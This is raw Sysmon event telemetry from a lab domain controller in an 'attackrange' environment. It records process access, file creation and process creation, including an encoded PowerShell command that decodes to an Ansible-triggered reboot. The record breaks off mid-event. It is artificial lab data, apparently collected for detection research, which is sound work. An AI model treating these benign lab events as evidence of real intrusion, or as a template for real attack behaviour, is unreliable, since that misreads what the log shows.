09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1503-000000007E01}4412C:\Windows\system32\shutdown.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-289C-5F80-1403-000000007E01}47284560C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289C-5F80-1503-000000007E01}4412C:\Windows\system32\shutdown.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76c0331b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76b554db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76064a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760c2edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a6540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a63d1(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76098356(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a4889(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a447c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a41a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+760a3e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+76b554db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+7608acd7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+7608a2a7(wow64) 154100x8000000000000000532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-289C-5F80-1503-000000007E01}4412C:\Windows\System32\shutdown.exe10.0.14393.0 (rs1_release.160715-1616)Windows Shutdown and Annotation ToolMicrosoft® Windows® Operating SystemMicrosoft CorporationSHUTDOWN.EXE"C:\Windows\system32\shutdown.exe" /r /t 2 /c "Reboot initiated by Ansible"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=547993395376742A437D3145AF6B0309,SHA256=F96073C3442EA0A99B4945394007602772DB36732D1511DC2068519526678F8A,IMPHASH=609F1D7580ED496A3076AEBA77DAFC7E{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== 10341000x8000000000000000531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.346{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.346{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.315{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_cws25kjl.ror.ps12020-10-09 09:08:44.315 10341000x8000000000000000528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.299{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.284{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.268{A5F018FF-289C-5F80-1303-000000007E01}40244156C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|UNKNOWN(00007FFF76C0331B)|UNKNOWN(00007FFF760A41A5)|UNKNOWN(00007FFF760A3E76)|UNKNOWN(00007FFF76B554DB)|UNKNOWN(00007FFF76064A0C)|UNKNOWN(00007FFF760C2EDB)|UNKNOWN(00007FFF760A6540)|UNKNOWN(00007FFF760A6540)|UNKNOWN(00007FFF760A63D1)|UNKNOWN(00007FFF76098356)|UNKNOWN(00007FFF760A4889)|UNKNOWN(00007FFF760A447C)|UNKNOWN(00007FFF760A41A5)|UNKNOWN(00007FFF760A3E76)|UNKNOWN(00007FFF76B554DB)|UNKNOWN(00007FFF7608ACD7)|UNKNOWN(00007FFF7608A2A7) 154100x8000000000000000515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.283{A5F018FF-289C-5F80-1403-000000007E01}4728C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 